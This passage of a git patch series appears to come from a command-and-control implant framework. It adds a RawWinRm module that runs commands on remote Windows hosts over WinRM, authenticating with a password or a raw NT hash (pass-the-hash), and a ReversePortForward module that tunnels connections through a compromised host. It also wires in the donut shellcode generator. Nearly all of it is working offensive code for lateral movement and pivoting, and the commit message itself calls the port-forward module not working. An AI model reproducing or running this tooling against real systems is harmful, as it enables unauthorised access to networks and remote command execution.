c2Message.set_cmd(packOptions(opts)); + c2Message.set_data(opts.command.data(), opts.command.size()); +#endif + return 0; +} + +int RawWinRm::process(C2Message& c2Message, C2Message& c2RetMessage) +{ + c2RetMessage.set_instruction(c2Message.instruction()); + c2RetMessage.set_cmd(c2Message.cmd()); + + std::string result; +#ifdef _WIN32 + try + { + int error = runCommand(c2Message, result); + if(error) + { + c2RetMessage.set_errorCode(error); + } + } + catch(const std::exception& ex) + { + result = ex.what(); + c2RetMessage.set_errorCode(-1); + } +#else + result = "Only supported on Windows.\n"; + c2RetMessage.set_errorCode(-1); +#endif + + c2RetMessage.set_returnvalue(result); + return 0; +} + +int RawWinRm::errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg) +{ +#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) || defined(C2CORE_BUILD_TESTS) + if(c2RetMessage.errorCode() != 0) + { + errorMsg = c2RetMessage.returnvalue(); + } +#endif + return 0; +} + +int RawWinRm::followUp(const C2Message&) +{ + return 0; +} + +#ifdef _WIN32 + +int RawWinRm::runCommand(const C2Message& c2Message, std::string& result) const +{ + std::string packed = c2Message.cmd(); + ModuleOptions opts = parsePackedOptions(packed); + std::string command = c2Message.data(); + + if(command.empty()) + { + throw std::runtime_error("No command provided"); + } + + UrlComponents url = parseUrl(opts.url); + RawWinRmHttp http(url, opts.disableTlsValidation); + + CredentialSet cred = splitUser(opts.username); + std::string workstation = opts.workstation; + if(workstation.empty()) + { + wchar_t buffer[MAX_COMPUTERNAME_LENGTH + 1]; + DWORD size = MAX_COMPUTERNAME_LENGTH + 1; + if(GetComputerNameW(buffer, &size)) + { + workstation = toNarrow(std::wstring(buffer, size)); + } + else + { + workstation = "WINRM"; + } + } + + std::vector ntHash; + if(opts.secretIsHash) + { + ntHash = parseNtHash(opts.secret); + } + else + { + ntHash = computeNtHashFromPassword(opts.secret); + } + + std::string shellEnvelope = buildCreateShellEnvelope(opts.url); + std::string createResponse = http.post(shellEnvelope, "http://schemas.xmlsoap.org/ws/2004/09/transfer/Create", cred.username, cred.domain, ntHash, workstation); + std::string shellId = findTagValue(createResponse, "rsp:ShellId"); + if(shellId.empty()) + { + throw std::runtime_error("Failed to parse shell identifier"); + } + + std::string commandEnvelope = buildCommandEnvelope(opts.url, shellId, command); + std::string commandResponse = http.post(commandEnvelope, "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Command", cred.username, cred.domain, ntHash, workstation); + std::string commandId = findTagValue(commandResponse, "rsp:CommandId"); + if(commandId.empty()) + { + throw std::runtime_error("Failed to parse command identifier"); + } + + std::string stdoutData; + std::string stderrData; + int exitCode = -1; + bool commandDone = false; + for(int attempt = 0; attempt < 12 && !commandDone; ++attempt) + { + std::string receiveEnvelope = buildReceiveEnvelope(opts.url, shellId, commandId); + std::string receiveResponse = http.post(receiveEnvelope, "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive", cred.username, cred.domain, ntHash, workstation); + parseStreams(receiveResponse, stdoutData, stderrData); + + std::string state = findTagValue(receiveResponse, "rsp:CommandState"); + if(!state.empty() && state.find("#Done") != std::string::npos) + { + std::string exit = findTagValue(receiveResponse, "rsp:ExitCode"); + if(!exit.empty()) + { + exitCode = std::stoi(exit); + } + commandDone = true; + break; + } + Sleep(500); + } + + try + { + std::string signalEnvelope = buildSignalEnvelope(opts.url, shellId, commandId); + http.post(signalEnvelope, "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Signal", cred.username, cred.domain, ntHash, workstation); + } + catch(...) + { + } + + try + { + std::string deleteEnvelope = buildDeleteEnvelope(opts.url, shellId); + http.post(deleteEnvelope, "http://schemas.xmlsoap.org/ws/2004/09/transfer/Delete", cred.username, cred.domain, ntHash, workstation); + } + catch(...) + { + } + + std::ostringstream oss; + if(!stdoutData.empty()) + { + oss << stdoutData; + } + if(!stderrData.empty()) + { + if(!stdoutData.empty() && stdoutData.back() != '\n') + { + oss << '\n'; + } + oss << stderrData; + } + if(exitCode != -1) + { + if(oss.tellp() > 0) + { + oss << '\n'; + } + oss << "Exit code: " << exitCode << '\n'; + } + result = oss.str(); + return 0; +} + +#endif diff --git a/modules/RawWinRm/RawWinRm.hpp b/modules/RawWinRm/RawWinRm.hpp new file mode 100644 index 0000000..222931f --- /dev/null +++ b/modules/RawWinRm/RawWinRm.hpp @@ -0,0 +1,36 @@ +#pragma once + +#include "ModuleCmd.hpp" + +#include +#include + +class RawWinRm : public ModuleCmd +{ +public: + RawWinRm(); + ~RawWinRm(); + + std::string getInfo(); + + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg); + int followUp(const C2Message& c2RetMessage); + + int osCompatibility() + { + return OS_WINDOWS; + } + +private: +#ifdef _WIN32 + int runCommand(const C2Message& c2Message, std::string& result) const; +#endif +}; + +#ifdef _WIN32 +extern "C" __declspec(dllexport) RawWinRm* RawWinRmConstructor(); +#else +extern "C" __attribute__((visibility("default"))) RawWinRm* RawWinRmConstructor(); +#endif diff --git a/modules/RawWinRm/tests/testsRawWinRm.cpp b/modules/RawWinRm/tests/testsRawWinRm.cpp new file mode 100644 index 0000000..4c1951e --- /dev/null +++ b/modules/RawWinRm/tests/testsRawWinRm.cpp @@ -0,0 +1,58 @@ +#include "../RawWinRm.hpp" + +#include +#include +#include + +bool testUsage(); + +int main() +{ + bool ok = true; + + std::cout << "[+] testRawWinRm" << std::endl; + ok &= testUsage(); + + if(ok) + std::cout << "[+] Success" << std::endl; + else + std::cout << "[-] Failed" << std::endl; + + return ok ? 0 : 1; +} + +bool testUsage() +{ + std::unique_ptr module = std::make_unique(); + std::vector cmd = {"rawWinRm", "http://host:5985/wsman", "DOMAIN\\user", "--hash", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "ipconfig"}; + C2Message msg; + C2Message ret; + + if(module->init(cmd, msg) != 0) + { + return false; + } + + if(std::string(msg.data()).find("ipconfig") == std::string::npos) + { + return false; + } + + std::vector bad = {"rawWinRm", "http://host", "user"}; + C2Message badMsg; + if(module->init(bad, badMsg) != -1) + { + return false; + } + + module->process(msg, ret); + if(ret.errorCode() == 0 && ret.returnvalue().empty()) + { + return false; + } + + std::string error; + module->errorCodeToMsg(ret, error); + + return true; +} From 4f4b90ef4b6778b30c621741c90bc96cbb3b624e Mon Sep 17 00:00:00 2001 From: Maxime dcb <40819564+maxDcb@users.noreply.github.com> Date: Fri, 14 Nov 2025 11:31:07 +0100 Subject: [PATCH 2/4] Add reverse port forwarding module (#30) * Add reverse port forward module * Fix linux compilation * Fix reverse port forward relay (#32) * Improve ReversePortForward server and tests * Refactor reverse port forward build guards * ReversePortForward not working --- CMakeLists.txt | 62 +- modules/CMakeLists.txt | 1 + modules/PsExec/CMakeLists.txt | 24 +- modules/ReversePortForward/CMakeLists.txt | 14 + .../ReversePortForward/ReversePortForward.cpp | 875 ++++++++++++++++++ .../ReversePortForward/ReversePortForward.hpp | 104 +++ .../tests/testsReversePortForward.cpp | 120 +++ 7 files changed, 1169 insertions(+), 31 deletions(-) create mode 100644 modules/ReversePortForward/CMakeLists.txt create mode 100644 modules/ReversePortForward/ReversePortForward.cpp create mode 100644 modules/ReversePortForward/ReversePortForward.hpp create mode 100644 modules/ReversePortForward/tests/testsReversePortForward.cpp diff --git a/CMakeLists.txt b/CMakeLists.txt index 5c11701..13594d7 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -133,31 +133,51 @@ FetchContent_Declare( ) FetchContent_MakeAvailable(Donut) -add_custom_target(donut_build ALL - COMMAND nmake -f Makefile.msvc - WORKING_DIRECTORY ${DONUT_SRC_DIR} - COMMENT "Building donut with nmake / Makefile.msvc" -) +include_directories(${DONUT_SRC_DIR}/include) -# ---- Import the produced lib / exe ---- -add_library(Donut SHARED IMPORTED) -set_target_properties(Donut PROPERTIES - IMPORTED_IMPLIB "${DONUT_SRC_DIR}/lib/donut.lib" # linker uses this - IMPORTED_LOCATION "${DONUT_SRC_DIR}/lib/donut.dll" # runtime DLL -) +if (WIN32) -include_directories(${DONUT_SRC_DIR}/include) + add_custom_target(donut_build ALL + COMMAND nmake -f Makefile.msvc + WORKING_DIRECTORY ${DONUT_SRC_DIR} + COMMENT "Building donut with nmake / Makefile.msvc" + ) -set(DONUT_DLL "${DONUT_SRC_DIR}/lib/donut.dll") -set(TEST_DIR "${CMAKE_SOURCE_DIR}/Tests") + # ---- Import the produced lib / exe ---- + add_library(Donut SHARED IMPORTED) + set_target_properties(Donut PROPERTIES + IMPORTED_IMPLIB "${DONUT_SRC_DIR}/lib/donut.lib" # linker uses this + IMPORTED_LOCATION "${DONUT_SRC_DIR}/lib/donut.dll" # runtime DLL + ) -add_custom_target(copy_donut ALL - COMMAND ${CMAKE_COMMAND} -E copy_if_different - "${DONUT_DLL}" - "${TEST_DIR}/donut.dll" - COMMENT "Copying donut.dll to ${TEST_DIR}" -) -add_dependencies(copy_donut donut_build) + set(DONUT_DLL "${DONUT_SRC_DIR}/lib/donut.dll") + set(TEST_DIR "${CMAKE_SOURCE_DIR}/Tests") + + add_custom_target(copy_donut ALL + COMMAND ${CMAKE_COMMAND} -E copy_if_different + "${DONUT_DLL}" + "${TEST_DIR}/donut.dll" + COMMENT "Copying donut.dll to ${TEST_DIR}" + ) + add_dependencies(copy_donut donut_build) + +endif (WIN32) +if (UNIX) + + add_custom_target(donut_build ALL + COMMAND make -f Makefile + WORKING_DIRECTORY ${DONUT_SRC_DIR} + COMMENT "Building donut with make / Makefile" + ) + + set(aplib64 "${DONUT_SRC_DIR}/lib/aplib64.a") + + add_library(Donut STATIC IMPORTED) + set_target_properties(Donut PROPERTIES + IMPORTED_LOCATION "${DONUT_SRC_DIR}/lib/libdonut.a" + ) + +endif (UNIX) # Additional third party libraries FetchContent_Declare( diff --git a/modules/CMakeLists.txt b/modules/CMakeLists.txt index bb784a4..4adec92 100644 --- a/modules/CMakeLists.txt +++ b/modules/CMakeLists.txt @@ -60,3 +60,4 @@ add_subdirectory(RawWinRm) add_subdirectory(DcomExec) add_subdirectory(CimExec) add_subdirectory(SshExec) +# add_subdirectory(ReversePortForward) diff --git a/modules/PsExec/CMakeLists.txt b/modules/PsExec/CMakeLists.txt index 79c317c..5a3ccaf 100644 --- a/modules/PsExec/CMakeLists.txt +++ b/modules/PsExec/CMakeLists.txt @@ -14,15 +14,19 @@ if(C2CORE_BUILD_TESTS) add_test(NAME testsPsExec COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") + if (WIN32) + + # TestService + add_executable(TestService tests/TestService.cpp) + target_link_libraries(TestService PRIVATE + advapi32 + ) + add_custom_command(TARGET TestService POST_BUILD + COMMAND ${CMAKE_COMMAND} -E copy + $ + "${CMAKE_SOURCE_DIR}/Tests/$" + ) + + endif (WIN32) - # TestService - add_executable(TestService tests/TestService.cpp) - target_link_libraries(TestService PRIVATE - advapi32 - ) - add_custom_command(TARGET TestService POST_BUILD - COMMAND ${CMAKE_COMMAND} -E copy - $ - "${CMAKE_SOURCE_DIR}/Tests/$" - ) endif() \ No newline at end of file diff --git a/modules/ReversePortForward/CMakeLists.txt b/modules/ReversePortForward/CMakeLists.txt new file mode 100644 index 0000000..bf842ab --- /dev/null +++ b/modules/ReversePortForward/CMakeLists.txt @@ -0,0 +1,14 @@ +include_directories(../) +add_library(ReversePortForward SHARED ReversePortForward.cpp) +set_property(TARGET ReversePortForward PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") +target_link_libraries(ReversePortForward) +add_custom_command(TARGET ReversePortForward POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy + $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") + +if(C2CORE_BUILD_TESTS) + add_executable(testsReversePortForward tests/testsReversePortForward.cpp ReversePortForward.cpp) + target_link_libraries(testsReversePortForward) + add_custom_command(TARGET testsReversePortForward POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy + $ "${CMAKE_SOURCE_DIR}/Tests/$") + add_test(NAME testsReversePortForward COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") +endif() diff --git a/modules/ReversePortForward/ReversePortForward.cpp b/modules/ReversePortForward/ReversePortForward.cpp new file mode 100644 index 0000000..f9d7fc2 --- /dev/null +++ b/modules/ReversePortForward/ReversePortForward.cpp @@ -0,0 +1,875 @@ +#include "ReversePortForward.hpp" + +#include "Common.hpp" + +#include +#include +#include +#include +#include +#include +#include + +#ifdef _WIN32 + #include + #include +#else + #include + #include + #include + #include + #include + #include + #include +#endif + +using namespace std; + +constexpr std::string_view moduleName = "reversePortForward"; +constexpr unsigned long long moduleHash = djb2(moduleName); + +namespace +{ + string formatHelp() + { + string help; + help += "reversePortForward:\n"; + help += " Create a reverse TCP port forward similar to 'ssh -R'.\n"; + help += " Syntax:\n"; + help += " reversePortForward \n"; + help += " Example:\n"; + help += " reversePortForward 8080 127.0.0.1 80\n"; + return help; + } + +#ifdef _WIN32 + bool setNonBlocking(SOCKET socket) + { + u_long mode = 1; + return ioctlsocket(socket, FIONBIO, &mode) == 0; + } +#else + bool setNonBlocking(int socket) + { + int flags = fcntl(socket, F_GETFL, 0); + if (flags == -1) + return false; + if (fcntl(socket, F_SETFL, flags | O_NONBLOCK) == -1) + return false; + return true; + } +#endif +} + +#ifdef _WIN32 +extern "C" __declspec(dllexport) ReversePortForward* ReversePortForwardConstructor() +{ + return new ReversePortForward(); +} +#else +extern "C" __attribute__((visibility("default"))) ReversePortForward* ReversePortForwardConstructor() +{ + return new ReversePortForward(); +} +#endif + +ReversePortForward::ReversePortForward() +// #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) + : ModuleCmd(std::string(moduleName), moduleHash) + , m_localPort(0) + , m_remotePort(0) + , m_socketLayerReady(false) +// #else + // , ModuleCmd("", moduleHash) + , m_running(false) + , m_listenerActive(false) + // , m_remotePort(0) + , m_listenerSocket(InvalidSocket) + , m_listenerThread() + , m_nextConnectionId(1) + // , m_socketLayerReady(false) +// #endif +{ +} + +ReversePortForward::~ReversePortForward() +{ +#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) + std::lock_guard lock(m_localMutex); + for (auto& entry : m_localConnections) + { + if (entry.second != InvalidSocket) + closeSocket(entry.second); + } + m_localConnections.clear(); +#else + m_running = false; + if (m_listenerThread.joinable()) + m_listenerThread.join(); + + { + std::lock_guard lock(m_connectionsMutex); + for (auto& pair : m_connections) + { + auto& connection = pair.second; + if (connection && connection->socket != InvalidSocket) + closeSocket(connection->socket); + } + m_connections.clear(); + } + + if (m_listenerSocket != InvalidSocket) + closeSocket(m_listenerSocket); +#endif + + shutdownSocketLayer(); +} + +std::string ReversePortForward::getInfo() +{ + return formatHelp(); +} + +int ReversePortForward::init(std::vector& splitedCmd, C2Message& c2Message) +{ +#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) + if (splitedCmd.size() != 4) + { + c2Message.set_returnvalue(formatHelp()); + return -1; + } + + const std::string& remotePortStr = splitedCmd[1]; + const std::string& localHost = splitedCmd[2]; + const std::string& localPortStr = splitedCmd[3]; + + if (!isNumber(remotePortStr) || !isNumber(localPortStr)) + { + c2Message.set_returnvalue("Invalid port provided.\n" + formatHelp()); + return -1; + } + + try + { + m_remotePort = std::stoi(remotePortStr); + m_localPort = std::stoi(localPortStr); + } + catch (const std::exception&) + { + c2Message.set_returnvalue("Invalid port provided.\n" + formatHelp()); + return -1; + } + + if (m_remotePort <= 0 || m_remotePort > 65535 || m_localPort <= 0 || m_localPort > 65535) + { + c2Message.set_returnvalue("Ports must be between 1 and 65535.\n" + formatHelp()); + return -1; + } + + m_localHost = localHost; + + c2Message.set_instruction(splitedCmd[0]); + c2Message.set_cmd("start"); + c2Message.set_args(remotePortStr + " " + localHost + " " + localPortStr); +#else + (void)splitedCmd; + (void)c2Message; +#endif + return 0; +} + +int ReversePortForward::errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg) +{ +#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) + switch (c2RetMessage.errorCode()) + { + case 1: + errorMsg = "Reverse port forward already running."; + break; + case 2: + errorMsg = "Failed to initialise networking on target."; + break; + case 3: + errorMsg = "Unable to bind remote port."; + break; + case 4: + errorMsg = "Reverse port forward not running."; + break; + case 5: + errorMsg = "Unable to connect to local service."; + break; + default: + break; + } +#else + (void)c2RetMessage; + (void)errorMsg; +#endif + return 0; +} + +bool ReversePortForward::ensureSocketLayer() +{ +#ifdef _WIN32 + if (m_socketLayerReady) + return true; + + WSADATA data; + int rc = WSAStartup(MAKEWORD(2, 2), &data); + if (rc == 0) + m_socketLayerReady = true; + return m_socketLayerReady; +#else + m_socketLayerReady = true; + return true; +#endif +} + +void ReversePortForward::shutdownSocketLayer() +{ +#ifdef _WIN32 + if (m_socketLayerReady) + { + WSACleanup(); + m_socketLayerReady = false; + } +#endif +} + +void ReversePortForward::closeSocket(SocketHandle socket) const +{ +#ifdef _WIN32 + if (socket != InvalidSocket) + closesocket(socket); +#else + if (socket != InvalidSocket) + ::close(socket); +#endif +} + +void ReversePortForward::enqueueChunk(int connectionId, const std::string& data, bool closeEvent) +{ + { + std::lock_guard lock(m_queueMutex); + m_pendingChunks.push({connectionId, data, closeEvent}); + } +#if !(defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS)) + m_queueCv.notify_all(); +#endif +} + +// #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) + +bool ReversePortForward::sendAll(SocketHandle socket, const std::string& data) const +{ + if (socket == InvalidSocket) + return false; + + const char* buffer = data.data(); + size_t totalSent = 0; + const size_t toSend = data.size(); + + while (totalSent < toSend) + { + int sent = ::send(socket, buffer + totalSent, static_cast(toSend - totalSent), 0); + if (sent > 0) + { + totalSent += static_cast(sent); + continue; + } + + if (sent == 0) + return false; + +#ifdef _WIN32 + int err = WSAGetLastError(); + if (err == WSAEWOULDBLOCK || err == WSAEINTR) + { + std::this_thread::sleep_for(std::chrono::milliseconds(10)); + continue; + } +#else + if (errno == EWOULDBLOCK || errno == EAGAIN || errno == EINTR) + { + std::this_thread::sleep_for(std::chrono::milliseconds(10)); + continue; + } +#endif + return false; + } + return true; +} + +std::string ReversePortForward::receiveAvailable(SocketHandle socket, bool& closed) const +{ + std::string data; + if (socket == InvalidSocket) + return data; + + closed = false; + + while (true) + { + fd_set readSet; + FD_ZERO(&readSet); + FD_SET(socket, &readSet); + + timeval tv; + tv.tv_sec = 0; + tv.tv_usec = 0; + + int ready = ::select(static_cast(socket) + 1, &readSet, nullptr, nullptr, &tv); + if (ready <= 0 || !FD_ISSET(socket, &readSet)) + break; + + char buffer[4096]; + int received = ::recv(socket, buffer, sizeof(buffer), 0); + if (received > 0) + { + data.append(buffer, received); + continue; + } + + if (received == 0) + { + closed = true; + break; + } + +#ifdef _WIN32 + int err = WSAGetLastError(); + if (err == WSAEWOULDBLOCK || err == WSAEINTR) + break; + closed = true; +#else + if (errno == EWOULDBLOCK || errno == EAGAIN || errno == EINTR) + break; + closed = true; +#endif + break; + } + + return data; +} + +void ReversePortForward::pollLocalConnections() +{ + std::vector readyChunks; + + { + std::lock_guard lock(m_localMutex); + for (auto it = m_localConnections.begin(); it != m_localConnections.end();) + { + bool closed = false; + std::string data = receiveAvailable(it->second, closed); + if (!data.empty()) + readyChunks.push_back({it->first, data, false}); + + if (closed) + { + closeSocket(it->second); + readyChunks.push_back({it->first, std::string(), true}); + it = m_localConnections.erase(it); + } + else + { + ++it; + } + } + } + + for (const auto& chunk : readyChunks) + enqueueChunk(chunk.connectionId, chunk.data, chunk.closeEvent); +} + +// #else + +ReversePortForward::SocketHandle ReversePortForward::createListener(int port) +{ + struct addrinfo hints; + std::memset(&hints, 0, sizeof(hints)); + hints.ai_family = AF_UNSPEC; + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = IPPROTO_TCP; + hints.ai_flags = AI_PASSIVE; + + struct addrinfo* result = nullptr; + std::string portStr = std::to_string(port); + + if (::getaddrinfo(nullptr, portStr.c_str(), &hints, &result) != 0) + return InvalidSocket; + + SocketHandle listener = InvalidSocket; + + for (auto ptr = result; ptr != nullptr; ptr = ptr->ai_next) + { + SocketHandle candidate = static_cast(::socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol)); + if (candidate == InvalidSocket) + continue; + + int enable = 1; +#ifdef _WIN32 + ::setsockopt(candidate, SOL_SOCKET, SO_REUSEADDR, reinterpret_cast(&enable), sizeof(enable)); +#else + ::setsockopt(candidate, SOL_SOCKET, SO_REUSEADDR, &enable, sizeof(enable)); +#endif + if (::bind(candidate, ptr->ai_addr, static_cast(ptr->ai_addrlen)) == 0) + { + if (::listen(candidate, SOMAXCONN) == 0) + { + listener = candidate; + break; + } + } + closeSocket(candidate); + } + + ::freeaddrinfo(result); + + if (listener != InvalidSocket) + setNonBlocking(listener); + + return listener; +} + +ReversePortForward::SocketHandle ReversePortForward::acceptClient(SocketHandle listener) +{ + if (listener == InvalidSocket) + return InvalidSocket; + +#ifdef _WIN32 + SOCKET client = ::accept(listener, nullptr, nullptr); +#else + int client = ::accept(listener, nullptr, nullptr); +#endif + if (client != InvalidSocket) + setNonBlocking(client); + return client; +} + +std::shared_ptr ReversePortForward::getConnection(int connectionId) +{ + std::lock_guard lock(m_connectionsMutex); + auto it = m_connections.find(connectionId); + if (it != m_connections.end()) + return it->second; + return nullptr; +} + +void ReversePortForward::handleClient(std::shared_ptr connection) +{ + SocketHandle socket = connection->socket; + std::vector buffer(4096); + + while (connection->active) + { + fd_set readSet; + FD_ZERO(&readSet); + FD_SET(socket, &readSet); + timeval tv{1, 0}; + int ready = ::select(static_cast(socket) + 1, &readSet, nullptr, nullptr, &tv); + if (ready > 0 && FD_ISSET(socket, &readSet)) + { + int received = ::recv(socket, buffer.data(), static_cast(buffer.size()), 0); + if (received > 0) + { + std::string data(buffer.data(), received); + enqueueChunk(connection->id, data, false); + } + else + { + connection->active = false; + enqueueChunk(connection->id, std::string(), true); + break; + } + } + else if (ready < 0) + { + connection->active = false; + enqueueChunk(connection->id, std::string(), true); + break; + } + } + + closeSocket(socket); +} + +void ReversePortForward::runListener() +{ + while (m_running) + { + SocketHandle client = acceptClient(m_listenerSocket); + if (client == InvalidSocket) + { + std::this_thread::sleep_for(std::chrono::milliseconds(200)); + continue; + } + + int id = m_nextConnectionId++; + auto connection = std::make_shared(); + connection->id = id; + connection->socket = client; + connection->active = true; + + { + std::lock_guard lock(m_connectionsMutex); + m_connections[id] = connection; + } + + connection->reader = std::thread(&ReversePortForward::handleClient, this, connection); + connection->reader.detach(); + enqueueChunk(id, std::string(), false); + } +} + +// #endif + +int ReversePortForward::followUp(const C2Message& c2RetMessage) +{ + if (!ensureSocketLayer()) + return -1; + + std::string args = c2RetMessage.args(); + if (args.empty()) + return 0; + + auto pos = args.find(':'); + if (pos == std::string::npos) + return 0; + + std::string action = args.substr(0, pos); + int connectionId = 0; + try + { + connectionId = std::stoi(args.substr(pos + 1)); + } + catch (const std::exception&) + { + return 0; + } + + if (action == "close") + { + SocketHandle socket = InvalidSocket; + { + std::lock_guard lock(m_localMutex); + auto it = m_localConnections.find(connectionId); + if (it != m_localConnections.end()) + { + socket = it->second; + m_localConnections.erase(it); + } + } + closeSocket(socket); + return 0; + } + + if (action != "data") + return 0; + + SocketHandle socket = InvalidSocket; + { + std::lock_guard lock(m_localMutex); + auto it = m_localConnections.find(connectionId); + if (it != m_localConnections.end()) + socket = it->second; + } + + if (socket == InvalidSocket) + { + std::string portStr = std::to_string(m_localPort); + struct addrinfo hints; + std::memset(&hints, 0, sizeof(hints)); + hints.ai_family = AF_UNSPEC; + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = IPPROTO_TCP; + + struct addrinfo* result = nullptr; + if (::getaddrinfo(m_localHost.c_str(), portStr.c_str(), &hints, &result) != 0) + { + enqueueChunk(connectionId, std::string(), true); + return -1; + } + + for (auto ptr = result; ptr != nullptr; ptr = ptr->ai_next) + { + SocketHandle candidate = static_cast(::socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol)); + if (candidate == InvalidSocket) + continue; + + if (::connect(candidate, ptr->ai_addr, static_cast(ptr->ai_addrlen)) == 0) + { + socket = candidate; + break; + } + closeSocket(candidate); + } + + ::freeaddrinfo(result); + + if (socket == InvalidSocket) + { + enqueueChunk(connectionId, std::string(), true); + return -1; + } + + setNonBlocking(socket); + { + std::lock_guard lock(m_localMutex); + m_localConnections[connectionId] = socket; + } + } + + std::string payload = c2RetMessage.data(); + if (!payload.empty()) + { + if (!sendAll(socket, payload)) + { + closeSocket(socket); + { + std::lock_guard lock(m_localMutex); + m_localConnections.erase(connectionId); + } + enqueueChunk(connectionId, std::string(), true); + return -1; + } + } + + bool closed = false; + std::string response = receiveAvailable(socket, closed); + if (!response.empty()) + enqueueChunk(connectionId, response, false); + + if (closed) + { + closeSocket(socket); + { + std::lock_guard lock(m_localMutex); + m_localConnections.erase(connectionId); + } + enqueueChunk(connectionId, std::string(), true); + } + + return 0; +} + +int ReversePortForward::process(C2Message& c2Message, C2Message& c2RetMessage) +{ + c2RetMessage.set_instruction(c2Message.instruction()); + + std::string cmd = c2Message.cmd(); + if (cmd == "start") + { + if (!ensureSocketLayer()) + { + c2RetMessage.set_errorCode(2); + return 0; + } + + if (m_running) + { + c2RetMessage.set_errorCode(1); + return 0; + } + + std::istringstream iss(c2Message.args()); + int remotePort = 0; + std::string localHost; + int localPort = 0; + iss >> remotePort >> localHost >> localPort; + (void)localHost; + (void)localPort; + + if (remotePort <= 0 || remotePort > 65535) + { + c2RetMessage.set_errorCode(3); + return 0; + } + + m_remotePort = remotePort; + m_listenerSocket = createListener(remotePort); + if (m_listenerSocket == InvalidSocket) + { + c2RetMessage.set_errorCode(3); + return 0; + } + + m_running = true; + m_listenerActive = true; + m_listenerThread = std::thread(&ReversePortForward::runListener, this); + c2RetMessage.set_returnvalue("Reverse port forward started on port " + std::to_string(remotePort)); + return 0; + } + else if (cmd == "send") + { + std::string args = c2Message.args(); + auto pos = args.find(':'); + if (pos == std::string::npos) + { + c2RetMessage.set_errorCode(4); + return 0; + } + + std::string prefix = args.substr(0, pos); + if (prefix != "response") + { + c2RetMessage.set_errorCode(4); + return 0; + } + + int connectionId = 0; + try + { + connectionId = std::stoi(args.substr(pos + 1)); + } + catch (const std::exception&) + { + c2RetMessage.set_errorCode(4); + return 0; + } + + std::string payload = c2Message.data(); + auto connection = getConnection(connectionId); + if (!connection) + { + c2RetMessage.set_errorCode(4); + return 0; + } + + if (connection->socket == InvalidSocket) + { + c2RetMessage.set_errorCode(4); + return 0; + } + + if (!payload.empty()) + { + const char* buffer = payload.data(); + size_t totalSent = 0; + size_t toSend = payload.size(); + while (totalSent < toSend) + { + int sent = ::send(connection->socket, buffer + totalSent, static_cast(toSend - totalSent), 0); + if (sent <= 0) + { + connection->active = false; + enqueueChunk(connectionId, std::string(), true); + break; + } + totalSent += static_cast(sent); + } + } + + return 0; + } + else if (cmd == "close") + { + std::string args = c2Message.args(); + auto pos = args.find(':'); + if (pos == std::string::npos) + { + c2RetMessage.set_errorCode(4); + return 0; + } + + std::string prefix = args.substr(0, pos); + if (prefix != "close") + { + c2RetMessage.set_errorCode(4); + return 0; + } + + int connectionId = 0; + try + { + connectionId = std::stoi(args.substr(pos + 1)); + } + catch (const std::exception&) + { + c2RetMessage.set_errorCode(4); + return 0; + } + + std::shared_ptr connection; + { + std::lock_guard lock(m_connectionsMutex); + auto it = m_connections.find(connectionId); + if (it != m_connections.end()) + { + connection = it->second; + m_connections.erase(it); + } + } + + if (connection) + { + connection->active = false; + closeSocket(connection->socket); + } + + return 0; + } + + return 0; +} + +// TODO, we got an architectural issue here, recurringExec and followUp are not expected to communicate between them without user intervention +// could be usefull +int ReversePortForward::recurringExec(C2Message& c2RetMessage) +{ +// #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) + pollLocalConnections(); + + std::unique_lock lock(m_queueMutex); + if (m_pendingChunks.empty()) + return 0; + + PendingChunk chunk = m_pendingChunks.front(); + m_pendingChunks.pop(); + lock.unlock(); + + c2RetMessage.set_instruction(std::to_string(getHash())); + if (chunk.closeEvent) + { + c2RetMessage.set_cmd("close"); + c2RetMessage.set_args("close:" + std::to_string(chunk.connectionId)); + c2RetMessage.set_data(""); + } + else + { + c2RetMessage.set_cmd("send"); + c2RetMessage.set_args("response:" + std::to_string(chunk.connectionId)); + c2RetMessage.set_data(chunk.data); + } + + return 1; +// #else + // std::unique_lock lock(m_queueMutex); + // if (m_pendingChunks.empty()) + // { + // m_queueCv.wait_for(lock, std::chrono::milliseconds(100)); + // if (m_pendingChunks.empty()) + // return 0; + // } + + // PendingChunk chunk = m_pendingChunks.front(); + // m_pendingChunks.pop(); + // lock.unlock(); + + // c2RetMessage.set_instruction(std::to_string(getHash())); + // if (chunk.closeEvent) + // { + // c2RetMessage.set_cmd("close"); + // c2RetMessage.set_args("close:" + std::to_string(chunk.connectionId)); + // c2RetMessage.set_data(""); + // } + // else + // { + // c2RetMessage.set_cmd("send"); + // c2RetMessage.set_args("data:" + std::to_string(chunk.connectionId)); + // c2RetMessage.set_data(chunk.data); + // } + + // return 1; +// #endif +} diff --git a/modules/ReversePortForward/ReversePortForward.hpp b/modules/ReversePortForward/ReversePortForward.hpp new file mode 100644 index 0000000..4d38671 --- /dev/null +++ b/modules/ReversePortForward/ReversePortForward.hpp @@ -0,0 +1,104 @@ +#pragma once + +#include "ModuleCmd.hpp" + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +class ReversePortForward : public ModuleCmd +{ +public: + ReversePortForward(); + ~ReversePortForward(); + + std::string 